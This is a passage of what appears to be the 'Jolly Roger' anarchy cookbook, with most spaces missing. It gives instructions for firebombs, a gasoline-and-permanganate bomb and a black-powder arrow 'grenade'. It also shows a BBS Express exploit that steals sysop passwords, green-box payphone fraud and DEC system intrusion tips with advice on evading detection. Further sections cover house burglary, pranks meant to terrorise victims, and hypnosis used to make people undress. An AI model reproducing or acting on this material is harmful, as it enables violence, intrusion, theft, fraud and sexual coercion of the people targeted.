watchtheflamesfly!!!Againbecarefulthatnooneisbehindyou!Ihaveseen
someoftheseflamesgo20feet!

BreakingintoBBS
Express
courtesyofJollyRoger
IfyouhavehighenoughaccessonanyBBSExpressBBSyoucangettheSysop's
passwordwithoutanyproblemsandbeabletologonashimanddowhateveryou
like.DownloadthePassfile,deletethewholeBBS,anything.Itsallamatterof
uploadingatextfileandd/lingitfromtheBBS.Youmusthavehighenoughaccess
toseenewuploadstodothis.Ifyoucanseeafileyoujustuploadedyouhavethe
abilitytobreakintotheBBSinafeweasysteps.WhyamItellingeveryonethis
whenIrunBBSExpressmyself?Wellthereisonewaytostopthisfromhappening
andIwantotherSysop'stobeawareofitandnothaveithappentothem.Breaking
inisallbasedontheMenufunctionofBBSExpress.Expresswillletyoucreatea
menutodisplaydifferenttextfilesbyputtingthewordMenuatthetopofanytext
fileandstatingwhatfilesaretobedisplayed.ButduetoamajorscrewupbyMr.
LedbetteryoucanusethisMenuoptiontodisplaytheUserlogandtheSysop's
Passwordsoranythingelseyoulike.IwillshowyouhowtogettheSysop'spassand
thereforelogonastheSysop. BBSExpressSysop'shave2passwords.Onelike
everyoneelsegetsintheformofX1XXX,andaSecondarypasswordtomakeit
hardertohackouttheSysopspass.TheSecondarypassisfoundinafilecalled
sysdata.dat.Thisfilemustbeondrive1andisthereforeeasytoget.Allyouhaveto
doisuploadthissimpleTextfile:
Menu
1
D1:sysdata.dat
Ripofftime!
Afteryouuploadthisfileyoud/litnonXmodem.StupidExpressthinksitis
displayingamenuandyouwillseethis:
Ripofftime!
Selection[0]:
Justhit1andExpresswilldisplaythesysdata.datfile.OppasssiswheretheSysop'
sSecondarypasswillbe.D1:userlog.datiswhereyouwillfindthenameandDrive
numberoftheuserlog.datfile.TheSysopmighthaverenamedthisfileorputitina
Subdirectoryorevenonadifferentdrive.IwillassumeheleftitasD1:userlog.dat.
Theotherpartsofthisfiletellyouwherethe.HLPscreensareandwherethelogis
savedandalltheDownloadpathnames.NowtogettheSysop'sprimarypassyou
uploadatextfilelikethis:
Menu

1
D1:userlog.dat
BreakingintoBedwetter'sBBS.
Againyouthend/lthisfilenonXmodemandyouwillsee:
BreakingintoBedwetter'sBBS
Selection[0]:
Youthenhit1andthelonguserlog.datfilecomesflyingatyou.TheSysopisthe
firstentryinthisverylongfilesoitiseasy.Youwillsee:
sysop'snameX1XXX
Youshouldnowhavehis2passwords.ThereisonlyoneeasywayoutofthisthatI
canthinkof,andthatistomakeallnewuploadsgotosysoplevel(Level9)access
only.ThiswaynobodycanpulloffwhatIjustexplained.IfeelthisisamajorBug
onMr.Ledbetter'spart.Ijustdon'tknowwhynoonehadthoughtofitbefore.I
wouldliketogivecredittoRedlineforthemessageheleftonModemHelltelling
aboutthisproblemandalsotoUnkaforhisideasandinputaboutcorrectingit.
Thishasbeenbroughttoyoufrom[_The_Piper_]andtheS.O.D.BBSNetwork!
Firebombs
byJollyRoger
Mostfirebombsaresimplygasolinefilledbottleswithafuelsoakedraginthe
mouth(thebottle'smouth,notyours).TheoriginalMolotovcocktailandstillabout
thebest,wasamixtureofonepartgasolineandonepartmotoroil.Theoilhelpsitto
clingtowhatitsplatterson.Someuseonepartroofingtarandonepartgasoline.Fire
bombshavebeenfoundwhichweremadebypouringmeltedwaxintogasoline.
FuseIgnitionBomb
byJollyRoger
Afourstrandhomemadefuseisusedforthis.Itburnslikefury.Itishelddown
andconcealedbyastripofbenttincutfromacan.Theexposedendofthefuseis
dippedintotheflareigniter.Tousethisone,youlightthefuseandholdthefire
bombuntilthefusehasburnedoutofsightunderthetin.Thenthrowitandwhenit
breaks,theburningfusewillignitethecontents.Seelaterfileonthese!
GenericBomb
byJollyRoger
Aquireaglasscontainer.Putinafewdropsofgasoline.Capthetop.Nowturnthe
containeraroundtocoattheinnersurfacesandthenevaporates.Addafewdropsof
potassium permanganate (< Get this stuff from a snake bite kit). The bomb is
detonatedbythrowingagainstasolidobject.
*Afterthrowingthisthingrunlikehell!Thisthingpacksabout1/2stickof

dynamite*

GreenBoxPlans
byJollyRoger
Payingtheinitialrateinordertousearedbox(oncertainfortresses)leftasour
tasteinmanyredboxersmouths,thusthegreenboxwasinvented.Thegreenbox
generatesusefultonessuchas coincollect, coinreturnandringback.Theseare
thetonesthatACTSortheTSPSoperatorwouldsendtotheCowhenappropriate.
Unfortunately,thegreenboxcannotbeusedatthefortressstationbutmustbeused
bythecalledparty.Herearethetones:
coincollect700+1100hz coinreturn1100+1700hz ringback700+1700hz
Beforethecalledpartysendsanyofthesetones,anoperatorrealisesignalshould
besenttoalerttheMFdetectorsattheCo.Thiscanbedonebysending900hz+
1500hzorasingle2600wink(90ms.)Alsodonotforgetthattheinitialrateis
collectedshortlybeforethe3minuteperiodisup.Incidentally,oncetheaboveMF
tonesforcollectingandreturningcoinsreachthe Co,theyareconvertedintoan
appropriateDCpulse(130voltsforreturnand+130forcollect).Thispulseisthen
sentdownthetiptothefortress.Thiscausesthecoinrelaytoeitherreturnorcollect
thecoins.Thealledged"TNetwork"takesadvantageofthisinformation.Whena
pulsefor coincollect (+130VDC) issentdowntheline,itmustbegrounded
somewhere.Thisisusuallytheyelloworblackwire.Thus,ifthewiresareexposed,
thesewirescanbecuttopreventthepulsefrombeinggrounded.Whenthethree
minuteinitialperiodisalmostup,makesurethattheblackandyellowwiresare
severed,thenhangup,waitabout15secondsincaseofasecondpulse,reconnectthe
wires,pickupthephoneandifallgoeswell,itshouldbe"Jackpot"time.
PortableGrenadeLauncher
byJollyRoger
Ifyouhaveabow,thisoneisforyou.Removetheferrulefromanaluminium
arrow,andfillthearrowwithblackpowder(IusegradeFFFF,itburnseasy)andthen
glueashotshellprimerintotheholeleftwheretheferrulewent.Next,glueaBBon
theprimer,andyouarereadytogo!Makesurenooneisnearby!Littleshredsof
aluminiumgoallovertheplace!!!
HackingTutorial

courtesyofJollyRoger
Whatishacking?
AccordingtopopularbeliefthetermhackerandhackingwasfoundedatMith,it
comesfromtherootofahackwriter,someonewhokeeps"hacking"atthetypewriter
untilhefinishesthestory.Acomputerhackerwouldbehackingatthekeyboardor
passwordworks.
Whatyouneed
Tohackyouneedacomputerequippedwithamodem(adevicethatletsyou
transmitdataoverphonelines)whichshouldcostyoufrom$100to$1200.
Howdoyouhack?
Hackingrequirestwothings:
1.Thephonenumber;
2.Answertoidentityelements.
Howdoyoufindthephone#?
Therearethreebasicwaystofindacomputersphonenumber:
1.Scanning;
2.Directory;
3.Insideinfo.
Whatisscanning?
Scanning is the process of having a computer search for a carrier tone. For
example,thecomputerwouldstartat(800)1111111andwaitforcarrierifthereis
noneitwillgoonto1111112etc.Ifthereisacarrieritwillrecorditforfutureuse
andcontinuelookingformore.
Whatisdirectoryassistance?
Thiswaycanonlybeusedifyouknowwhereyourtargetcomputeris.Forthis
examinesayitisinMenloPark,CAandthecompanynameisSRI.Dial411(or415
5551212).Say"MenloPark".Say"SRI".Writedownnumber.Askifthereareany
morenumbers.Ifsowritethemdown.Hanguponoperator.Dialallnumbersyou
weregiven.Listenfircarriertone.Ifyouhearcarriertonewritedownnumber,callit
onyourmodemandyoursettohack!
TheBasicsofHackingII

courtesyofJollyRoger
Basicstoknowbeforedoinganything,essentialtoyourcontinuingcareerasoneof
theeliteinthecountry.Thisarticle,"theintroductiontotheworldofhacking"is
meanttohelpyoubytellingyouhownottogetcaught,whatnottodoonacomputer
system,whattypeofequipmentshouldIknowaboutnowandjustalittleonthe
history,pastpresentfuture,ofthehacker.Welcometotheworldofhacking!We,the
peoplewholiveoutsideofthenormalrulesandhavebeenscornedandevenarrested
bythosefromthecivilizedworld,arebecomingscarcereveryday.Thisisdueto
thegreaterfearofwhatagoodhacker(skillwise,nomoraljudgementshere)cando
nowadays,thuscausingantihackersentimentinthemasses.Alsofewhackersseem
toactuallyknowaboutthecomputersystemstheyhackorwhatequipmenttheywill
runintoonthefrontendorwhattheycoulddowrongonasystemtoalertthe
higherauthoritieswhomonitorthesystem.Thisarticleisintendedtotellyouabout
somethingsnottodo,evenbeforeyougetonthesystem.Iwilltellyouaboutthe
newwaveoffrontendsecuritydevicesthatarebeginningtobeusedoncomputers.I
willattempttoinstillinyouasecondidentity,tobebroughtupattimeofgreatneed,
topullyououtoftrouble.And,bytheway,Itakeno,repeat,no,responsibilityfor
whatwesayinthisandtheforthcomingarticles.Enoughofthebullshit,ontothe
fun:afterloggingonyourfavouriteBBS,youseeonthehighaccessboardaphone
number!Itsaysit'sagreatsystemto"fuckaroundwith!"Thismaybetrue,buthow
manyotherpeoplearegoingtocallthesamenumber?So:trytoavoidcallinga
numbergiventothepublic.Thisisbecausethereareatleasteveryotherusercalling,
andhowmanyotherboardswillthatnumberspreadto?Ifyoucallanumberfar,far
awayandyouplanongoingthroughanextenderorareseller,don'tkeepcallingthe
sameaccessnumber(i.e.asyouwouldifyouhadahackerrunning),thislooksvery
suspiciousandcanmakelifemiserablewhenthephonebillcomesinthemail.Most
citieshaveavarietyofaccessnumbersandservices,souseasmanyasyoucan.
Nevertrustachangeinthesystem.The414's,theassholes,werecaughtforthis
reason:whenoneofthemconnectedtothesystem,therewasnothinggoodthere.
Thenexttime,therewasatrekgamestuckrightintheirway!Theyproceededto
playsaidgamefortwo,saytwoandahalfhours,whileTelenetwastracingthem!
Nicejob,don'tyouthink?Ifanythinglookssuspicious,dropthelineimmediately!!!
Asin,yesterday!!!Thepointwe'retryingtogetacrossis:ifyouusealittlecommon
sense,youwon'tgetbusted.Letthelittlekidswhoaren'tsmartenoughtorecognizea
trapgetbusted,itwilltaketheheatoffoftherealhackers.Now,let'ssayyougeton
acomputersystem...Itlooksgreat,checksout,everythingseemsfine.O.K.,nowis
whenitgetsmoredangerous.Youhavetoknowthecomputersystemtoknowwhat
nottodo.Basically,keepawayfromanycommandsomething,copyanewfileinto
theaccount,orwhatever!Alwaysleavetheaccountinthesamestatusyouloggedin
with. Change *nothing* ! If it isn't an account with priv's, then don't try any
commandsthatrequirethem!All,yesall,systemsaregoingtobekeepinglogfiles
ofwhatusersaredoingandthatwillshowup.Itisjustlikedroppingatroublecard
inanESSsystem,aftersendingthatniceoperatoraprettytone.Spendnoexcessive
amountsoftimeontheaccountinonestretch.Keepyourcallingtotheverylate

nightifpossible,orduringbusinesshours(believeitornot!).Itsohappensthat
therearemoreusersonduringbusinesshours,anditisverydifficulttoreadalogfile
with60usersdoingmanycommandseveryminute.Trytoavoidsystemswhere
everyoneknowseachother,don'ttrytobluff.Andaboveall:neveractlikeyouown
thesystem,orarethebestthereis.Theyalwaysgrabthepeoplewho'sheadsswell.
Thereissomeveryinterestingfrontendequipmentaroundnowadays,butfirstlet's
defineterms.Byfrontend,wemeananydevicethatyoumustpassthroughtogetat
therealcomputer.Therearedevicesthataremadetodefeathackerprogramsandjust
plainoldmultiplexers.Todefeathackerprograms,therearenowdevicesthatpickup
thephoneandjustsitthere.Thismeansthatyourdevicegetsnocarrier,thusyou
thinkthereisn'tacomputerontheotherend.Theonlywayarounditistodetect
whenitwaspickedup.Ifitpicksupafterthesamenumberring,thenyouknowitis
ahackerdefeater.Thesedevicestakeamultidigitcodetoletyouintothesystem.
Someare,infact,quitesophisticatedtothepointwhereitwillalsolimittheuser
name'sdown,soonlyonenameorsetofnamescanbevalidloginsaftertheyinput
the code. Other devices input a number code and then they dial back a pre
programmednumberforthatcode.Thesesystemsarebesttoleavealone,because
they know someone is playing with their phone. You may think: "But I'll just
reprogramthedialback".Thinkagain,howstupidthatis!Thentheyhaveyour
numberoratestloopifyouwerejustalittlesmarter.Ifit'syournumber,theyhave
yourballs(ifmale...),Ifitsaloop,thenyouarescrewedagain,sincethoseloopsare
*monitored*.Asformultiplexers...Whataplexerissupposedtodoisthis:the
systemcanacceptmultipleusers.Wehavetotimeshare,sowe'llletthefrontend
processor do it.Well, this is whata multiplexer does. Usually they willask for
somethinglike"enterclass"or"line:".Usuallyitisprogrammedforadoubledigit
numberorafourtofiveletterword.Thereareusuallyafewsetsofnumbersit
accepts,butthosenumbersalsosetyour300/1200/2400bauddatatype.These
multiplexersareinconvenientatbest,sonottoworry.Alittleaboutthehistoryof
hacking:hacking,bymydefinition,meansagreatknowledgeofsomespecialarea.
Doctorsandlawyersarehackersofasort,bythisdefinition.Butmostoften,itis
beingusedinthecomputercontextandthuswehaveadefinitionof"anyonewhohas
a great amount of computer or telecommunications knowledge." You are not a
hackerbecauseyouhavealistofcodes.Hacking,bymydefinition,hasthenbeen
aroundonlyabout15years.Itstarted,whereelsebut,mitandcollegeswherethey
hadcomputerscienceorelectricalengineeringdepartments.Hackershavecreated
someofthebestcomputerlanguages,themostawesomeoperatingsystems,andeven
gone on to make millions. Hacking used to have a good name, when we could
honestlysay"weknowwhatwearedoing".Nowitmeans(inthepubliceye):the
414's,RonAustin,theNASAhackers,theArpanethackers.Allthepeoplewhohave
been caught, have done damage and are now going to have to face fines and
sentences.Thuswecomepastthemoralisticcrapandtoourpurpose:educatethe
hackercommunity,returntothedayswhenpeopleactuallyknewsomething!
HackingDEC's

byJollyRoger
InthisarticleyouwilllearnhowtologintoDec's,loggingoutandallthefunstuff
todoinbetween.AllofthisinformationisbasedonastandardDecsystem.Since
thereareDecsystems10and20andIfavour,theDec20,therewillbemoreinfoon
theminthisarticle.ItjustsohappensthattheDec20isalsothemorecommonofthe
twoandisusedbymuchmoreinterestingpeople(ifyouknowwhatImean?)O.K.,
thefirstthingyouwanttodowhenyouarereceivingcarrierfromaDECsystemisto
findouttheformatofloginnames.Youcandothisbylookingatwhoisonthe
system:
Dec=>`(theexeclevelprompt)
you=>sy
Syisshortforsy(state)andshowsyouthesystemstatus.Youshouldseethe
formatofloginnames.Asystateusuallycomesupinthisform:joblineprogramuser
job:thejobnumber(notimportantunlessyouwanttologthemofflater)line:what
linetheyareon(usedtotalktothem).Thesearebothtwoorthreedigitnumbers.
Program:whatprogramaretheyrunningunder?Ifitsaysexectheyaren'tdoing
anythingatall.User:ahhhahhhh!Thisistheusernametheyareloggedinunder.
Copytheformatandhackyourselfoutofworkingcode.Loginformatisassuch:
Dec=>`
you=>loginusernamepassword
Usernameistheusernameintheformatyousawaboveinthesystate.Afteryou
hit the space after your user name, it will stop echoing characters back to your
screen.Thisisthepasswordyouaretypingin.Remember,peopleusuallyusetheir
name,theirdog'sname,thenameofafavouritecharacterinabookorsomethinglike
this.Afewcleverpeoplehaveitsettoakeycluster(qwertyorASDFG).PW'scan
befrom1to8characterslong,anythingafterthatisignored.Youarefinallyin.It
wouldbenicetohavealittlehelp,wouldn'tit?Justtypea?Orthewordhelpandit
willgiveyouawholelistoftopics.Somehandycharactersforyoutoknowwouldbe
thecontrolkeys,wouldn'tit?BackspaceonaDec20isrubwhichis255onyour
ASCIIchart.OntheDec10itisCntrl H.Toabortalonglistingoraprogram,
CntrlCworksfine.UseCntrlOtostoplongoutputtotheterminal.Thisishandy
whenplayingagame,butyoudon'twanttoCntrlCout.CntrlTforthetime.Cntrl
Uwillkillthewholelineyouaretypingatthemoment.Youmayaccidentallyruna
programwheretheonlywayoutisaCntrlX,sokeepthatinreserve.CntrlSto
stoplisting,CntrlQtocontinueonbothsystems.Isyourterminalhavingtrouble???
Like it pauses for no reason or it doesn't backspace right? This is because both
systemssupportmanyterminalsandyouhaven'ttolditwhatyoursisyet.Youare
usingavt05soyouneedtotellityouareone:
Dec=>`
you=>informationterminal
or
You=>info
ThisshowsyouwhatyourterminalissetupasDec=>allsortsofshit,thenthe`
you=>settervt05thissetsyourterminaltypetovt05.Nowlet'sseewhatisinthe

account(hereafterabbreviatedacct.)thatyouhavehackedonto.Say:
=>dir
Shortfordirectory,itshowsyouwhattheuserofthecodehassavetothedisk.
Thereshouldbeaformatlikethis:xxxxx.Oooxxxxxisthefilename,from1to20
characterslong.Oooisthefiletype,oneof:exe,txt,dat,bas,cmdandafewothers
thataresystemdependant.Exeisacompiledprogramthatcanberun(justbytyping
itsnameatthe`).Txtisatextfile,whichyoucanseebytyping=>typexxxxx.Txt.
Donottryto:
=>typexxxxx.exe
Thisisverybadforyourterminalandwilltellyouabsolutelynothing.Datisdata
theyhavesaved.Basisabasicprogram,youcanhaveittypedoutforyou.Cmdisa
commandtypefile,alittletoocomplicatedtogointohere.Try:
=>takexxxxx.cmd
Bytheway,thereareotherusersouttherewhomayhavefilesyoucanuse(gee,
whyelseamIhere?).Type:
=>dir<*.*>(Dec20)
=>dir[*,*](dec10)
*isawildcardandwillallowyoutoaccessthefilesonotheraccountsiftheuser
hasitsetforpublicaccess.Ifitisn'tsetforpublicaccess,thenyouwon'tseeit.To
runthatprogram:
dec=>`
you=>usernameprogramname
Usernameisthedirectoryyousawthefilelistedunderandfilenamewaswhat
elsebutthefilename?
**Youarenotalone**remember,yousaid(attheverystart)syshortforsystate
andhowwesaidthisshowedtheotherusersonthesystem?Well,youcantalkto
themoratleastsendamessagetoanyoneyouseelistedinasystate.Youcandothis
by:
dec=>theuserlist(fromyoursystate)
you=>talkusername(dec20)
Sendusername(dec10).Talkallowsyouandthemimmediatetransmissionof
whateveryou/theytypetobesenttotheother.Sendonlyallowyouonemessageto
besentandsend,theywillsendbacktoyou,withtalkyoucanjustkeepgoing.By
theway,youmaybenoticingwiththetalkcommandthatwhatyoutypeisstillacted
uponbytheparser(controlprogram).Toavoidtheconstanterrormessagestype
either:
you=>;yourmessage
you=>remyourmessage
Thesemicolontellstheparserthatwhatfollowsisjustacomment.Remisshort
forremarkandignoresyoufromthenonuntilyoutypeacntrlZorcntrlCat
whichpointitputsyoubackintheexecmode.Tobreaktheconnectionfromatalk
commandtype:
you=>breakpriv's:
Ifyouhappentohaveprivs,youcandoallsortsofthings.Firstofallyouhaveto
activatethoseprivs.

you=>enable
Thisgivesyou1$promptandallowsyoutodothis:whateveryoucandotoyour
owndirectoryyoucannowdotoanyotherdirectory.TocreateanewACCT.Using
yourprivs,justtype:
=>buildusername
Ifusernameisold,youcaneditit,ifitisnew,youcandefineittobewhateveryou
wish.Privacymeansnothingtoauserwithprivs.Bytheway,therearevariouslevels
ofprivs:operator,wheel,cia.wheelisthemostpowerful,beingthathecanlogin
fromanywhereandhavehispowers.Operatorshavetheirpowerbecausetheyareat
aspecialterminalallowingthemtheprivs.Ciaisshortfor'confidentialinformation
access,whichallowsyoualowlevelamountofprivs.Nottoworrythough,since
you can read the system log file, which also has the passwords to all the other
accounts.Todeactivateyourprivs,type:
you=>disable
Whenyouhaveplayedyourgreedyheartout,youcanfinallyleavethesystemwith
thecommand.
=>logout
Thislogsthejobyouareusingoffthesystem(theremaybevariantsofthissuchas
kjoborkilljob).
HarmlessBombs
byJollyRoger
Toallthosewhodonotwishtoinflictbodilydamageontheirvictimsbutonly
terror.Theseareweaponsthatshouldbeusedfromhighplaces.
Theflourbomb
Takeawetpapertowelandpouragivenamountofbakingflourinthecentre.Then
wrapitupandputonarubberbandtokeepittogether.Whenthrownitwillflywell
butwhenithits,itcoversthevictimwiththeflowerorcausesabigpuffofflour
whichwillputthevictiminterrorsinceasfarastheyareconcerned,somestrange
whitepowderisalloverthem.Thisisacheapmethodofterrorandforonlythecost
ofarollofpapertowelsandabagofflouryouandyourfriendscanhaveloadsof
funwatchingpeoplefleeinpanic.
Smokebombprojectile
Allyouneedisabunchofthoselittleroundsmokebombsandawristrocketorany
slingshot.Shootthesmokebombsandwatchtheterrorsincetheythinkitwillblow
up!
Rotteneggs(goodones)

 Takesomeeggsandgetasharpneedleandpokeasmallholeinthetopofeach
one.Thenletthemsitinawarmplaceforaboutaweek.Thenyou'vegotabunchof
rotteneggsthatwillonlysmellwhentheyhit.
Glowinthedarkterror
Takeoneofthosetubesofglowinthedarkstuffandpourthestuffonwhatever
you want to throw and when it gets on the victim, they think it's some deadly
chemicaloraradioactivesubstancesotheyrunintotalpanic.Thisworksespecially
wellwithflowerbombssinceagummy,glowingsubstancegetsalloverthevictim.
Fizzlingpanic
Takeabaggieofawaterbakingsodasolutionandsealit.(Makesurethereisno
airinitsincethesolutionwillformagasandyoudon'twantittopoponyou.)Then
putitinabiggerplasticbagandfillitwithvinegarandsealit.Whenthrown,thetwo
substances will mix and cause a violently bubbling substance to go all over the
victim.Updated'94
BreakingIntoHouses
byJollyRoger
Okay!Youneed:tearGasorMace;aBB/PelletGun;anIcePick;thickGloves.
Whatyoudois:callthe#######ofthehouseorringdoorbelltofindoutifthey're
home.Ifthey'renothomethenjumpoverthefenceorwalkthroughgate(whatever).
Ifyouseeadoggivehimthemaceorteargas.Putthegloveson!!!ShoottheBB
gunslightlyabovethewindowlocks.Pushtheicepickthroughthehole(madeby
theBBgun).Enterwindow.First,findthelivingroom(they'reneatthingsthere!).
Thengotothebedroomtogetapillowcase.Putthegoodiesinthepillowcase.Get
out[*Fast!*]
Notes:Youshouldhavecertaintargetsworkedout(likecomputers,Radiosetc.).
Also[* never *]Stealfromyourownneighbourhood.Ifyouthinktheyhavean
alarm...[*Forgetit!*].Seelaterfile!
AGuidetoHypnotism
courtesyofJollyRoger
(OriginallyanApple][file,forgivetheuppercase!)
Whathypnotismis!
Hypnotism,contrarytocommonbelief,ismerelystatewhenyourmindandbody

areinastateofrelaxationandyourmindisopentopositiveorcleverlyworded
negativeinfluences.Itisnotatrancewhereyou:
aretotallyinfluenced;
cannotlie;
asleepwhichyoucannotwakeupfromwithouthelp.
Thismaybringdownyourhopesomewhat,buthypnotismisapowerfulforcefor
selfhelpand/ormischief.
Yoursubconsciousmind!
Beforegoinginfurther,I'dliketostatethathypnotismnotonlyisgreatintheway
thatitrelaxesyouandgetsyou(inthelongrun)whatyouwant,butalsothatittapsa
forceofincrediblepower,believeitornot,thispowerisyoursubconsciousmind.
Thesubconsciousmindalwaysknows whatisgoingonwitheverypartofyour
body,everymomentoftheday.Itprotectsyoufromnegativeinfluencesandretains
thepowertoslowyourheartbeatdownandstufflikethat.Thesubconsciousmind
holdsjustaboutalltheinfoyouwouldliketoknowaboutyourself,or,inthiscase,
the person you will be hypnotising. There are many ways to talk to your
subconsciousandhaveittalkbacktoyou.OnewayistheOujaBoard,no.it'snota
spirit,merelythemindsofthosewhoareusingit.Another,whichIwilldiscusshere,
isthependulummethod.O.K.,hereishowitgoes.First,getaringorawasherand
tieittoathreadalittlelongerthanhalfofyourforearm.Now,takeasheetofpaper
anddrawabigcircleinit.Inthebigcircleyoumustnowdrawacrosshair(abig+).
Now,putthesheetofpaperonatable.Next,holdthethreadwiththeringorwasher
onit andplaceit(holdingthethreadsothattheringis1inchabovethepaper
swinging)inthemiddleofthecrosshair.Now,swingthethreadsothewashergoes
upanddown,saytoyourselftheword"yes".Now,doitsidetosideandsaytheword
"no".Doitcounterclockwiseandsay"Idon'tknow".Andlastly,doitclockwiseand
say"Idon'twanttosay."Now,withthethreadbackinthemiddleofthecrosshair,
askyourselfquestionsandwaitforthependulumtoswinginthedirectionforthe
answer.(Yes,no,Idon'tknoworIdon'twannasay).Soon,toyouramazement,it
will be answering questions like anything. Let the pendulum answer, don't try !
Whenyoutryyouwillnevergetananswer.Lettheanswercometoyou!
Howtoinducehypnotism!
Nowthatyouknowhowtotalktoyoursubconsciousmind,Iwillnowtellyouhow
toguidesomeoneintohypnosis.NotethatIsaidguide,youcannever,hypnotise
someone,theymustbewilling.Thesubjectmustbelyingorsittinginacomfortable
position,relaxedandatatimewhenthingsaren'tgoingtobeinterrupted.Tellthem
the following or something close to it, in a peaceful, monotonous tone (not a
commandingtoneofvoice).
Note:Lightacandleandplaceitsomewherewhereitcanbeeasilyseen.Takea
deepbreaththroughyournoseandholditinforacountof8.Now,throughyour
mouth, exhale completely and slowly. Continued breathing long, deep, breaths

throughyournoseandexhalingthroughyourmouth.Tenseupallyourmusclesvery
tight,now,countingfrom10to1,releasethemslowly,youwillfindthemvery
relaxed.Now,lookatthecandle,asyoulookatit,witheverybreathandpassing
moment, you are feeling increasingly more and more peaceful and relaxed. The
candlesflameispeacefulandbright.AsyoulookatitIwillcountfrom100down,as
acount,youreyeswillbecomemoreandmorerelaxed,gettingmoreandmoretired
witheachpassingmoment."Now,countdownfrom100,aboutevery10numbers
say"WhenIreachXXyoureyes(oryouwillfindyoureyes)arebecomingmoreand
moretired".Tellthemtheymayclosetheireyeswhenevertheyfeellikeit.Ifthe
personseyesarestillopenwhenyougetto50theninsteadofsaying"Youreyes
will..."say"Youreyesare...".Whentheireyesareshutsaythefollowing.Asyou
lie(orsit)herewithyoureyescomfortablycloseyoufindyourselfrelaxingmoreand
morewitheachmomentandbreath.Therelaxationfeelspleasantandblissfulso,you
happilygivewaytothiswonderfulfeeling.Imagineyourself onacloud,resting
peacefully,withaslightbreezecaressingyourbody.Atinglingsensationbeginsto
workitsway,withinandwithoutyourtoes,itslowlymovesupyourfeet,making
themwarm,heavyandrelaxed.Thecloudissoftandsupportsyourbodywithitssoft
texture, the scene is peaceful and absorbing, the peacefulness absorbs you
completely. The tingling gently and slowly moves up your legs, relaxing them.
Makingthemwarmandheavy.Therelaxationfeelsverygood,itfeelssogoodto
relaxandletgo.Asthetinglingcontinuesitsjourneyupintoyoursolarplexus,you
feelyourinnerstomachbecomeveryrelaxed.Now,itmovesslowlyintoyourchest,
makingyourbreathingrelaxedaswell.Thefeelingbeginstomoveupyourarmsto
yourshoulders,makingyourarmsheavyandrelaxedaswell.Youareawareofthe
totalrelaxationyouarenowexperiencingandyougivewaytoit.Itisgoodand
peaceful,thetinglingnowmovesintoyourfaceandhead,relaxingyourjaws,neck
andfacialmuscles,makingyourcaresandworriesfloataway.Awayintotheblue
skyasyourestblissfullyonthecloud.Iftheyarenotresponsiveoryouthinkthey
(heorshe)isgoingtosleep,thenaddina"Alwaysconcentratinguponmyvoice,
ignoring all other sound. Even though other sounds exist, they aid you in your
relaxation".Theyshouldsoonletoutasighasiftheywerelettinggoandtheirface
shouldhavea"woodness"toit,becomingfeatureless.Now,saythefollowing".You
nowfindyourselfinahallway,thehallwayispeacefulandnice.AsIcountfrom10
to1youwillimagineyourselfwalkingfurtherandfurtherdownthehall.WhenI
reachoneyouwillfindyourselfwhereyouwanttobe,inanother,higherstateof
consciousandmind(Countfrom10to1)".Dothisabout3or4times.Then,totestif
thesubjectisunderhypsnosisornot,say"Youfeelastrangesensationinyour(arm
theywritewith)arm,thefeelingbeginsatyourfingersandslowlymovesupyour
arm,asitmovesthroughyourarm,yourarmbecomeslighterandlighter,itwillsoon
besolightitwillbecominglighterandlighterwitheachbreathandmoment".Their
fingersshouldbegin totwitchand thenmoveup,thearmfollowing. Now,my
friend,youhavehim/herinhypnosis.Thefirsttimeyoudothis,whilehe/sheis
under,saygoodthingslike:"You'regoingtofeelgreattomorrow"or"Everydayin
everywayyouwillfindyourselfbecomingbetterandbetter".Orsomecraplikethat
Themoretheygounder,thedeeperinhypnosistheywillgeteachtimeyoudoit.

Whattodowhenhypnotised!
Whenyouhavethemunder,youmustwordthingsverycarefullytogetyourway.
You cannot simply say Take off your clothes and fuck the pillow. No, that
wouldnotreallydothetrick.Youmustsaysomethinglike"Youfind yourselfat
home,inyourroomandyouhavetotakeashower(vividlydescribetheirroomand
what'shappening),youbegintotakeofyourclothes".Now,itcan'tbethatsimple,
youmustknowtheperson'shouse,roomandshowerroom.Thendescribethings
vividlyandtellthemtoactitout(theyhavetobedeeplyundertodothis).Iwould
justsuggestthatyouexperimentawhileandgettoknowhowtodothings.
Wakingup!
Wakingupisveryeasy,justsay"AsIcountfrom1to5youwillfindyourself
becomingmoreandmoreawake,moreandmorelively.Whenyouwakeupyouwill
find yourself completely alive, awake and refreshed. Mentally and physically,
rememberingthepleasantsensationthathypnosisbrings.Wakingupfeelinglikea
newbornbaby,rebornwithlifeandvigour,feelingexcellent.Rememberingthatnext
timeyouenterhypnosisitwillbecomeaneverincreasingdeeperanddeeperstate
thanbefore.Youfeelenergycoursethroughoutyourlimbs.Youbeginto breathe
deeply,stirring.Beginningtomovemoreandmoreyoureyesopen,bringingyouup
tofullconscious.Youareup,up,upandawakeningmoreandmore.Youareawake
andfeelinggreat".Andthat'sit!Younowknowhowtohypnotiseyourselfand
someoneelse.Youwilllearnmoreandmoreasyouexperiment.
TheRemoteInformer
Reader supportednewsletter for the underworldEditors:Tracker and Norman
Bates
September1987Issue:01
TheHeadlines
Introduction
HackingSprint:TheeasyWay
Rumours:Whyspreadthem?
TheNewsprint:FonCallingCards
AutomaticNumberIdentifier(ANI)
Introduction
WelcometothefirstissueofTheRemoteInformer!Thisnewsletterisreader
supported.Ifthereadersofthisnewsletterdonothelpsupportit,thenitwillend.We
areputtingthisouttohelpouttheonesthatwouldliketoreadit.Ifyouareoneof
thosewhothinkstheyknoweverything,thendon'tbotherreadingit.Thisnewsletter

isnotanythinglikethefutureissues.Thefutureissueswillcontainseveralsections,
aslongasreaderinputisobtained.Belowisanoutlineoverviewofthesectionsin
thefutureissues.
I/OBoard(Input/OutputBoard)
TheI/OBoardisforquestionsyouhave,thatwemightbeabletoanswerorat
leastreferyoutosomeoneorsomething.Wewillbehonestifwecannothelpyou.
We will not make up something or to the effect, just to make it look like we
answeredyou.TherewillbeasectionintheI/OBoardforquestionswecannot
answerandthenthereaderswillhavetheopportunitytoanswerit.Wewillprint
anythingthatisreasonableinthenewsletter,evencomplaintsifyoufeellikeyouare
betterthaneveryone.
NewsCentre
Thissectionwillbefornewsaroundtheunderworld.Itwilltalkofbustsofpeople
intheunderworldandanythingelsethatwouldbeconsiderednews.Ifyoufind
articlesinthepaperorsomethinghappensinyourlocalarea,typeitupanduploadit
tooneoftheboardslistedattheendofthenewsletter.Yourhandlewillbeplacedin
thearticle.Ifyoudoenteranewsarticle,pleasestatethedateandfromwhereyou
gotit.
FeatureSection
TheFeatureSectionwillbethelargestofthesectionsasitwillbeonthetopicthat
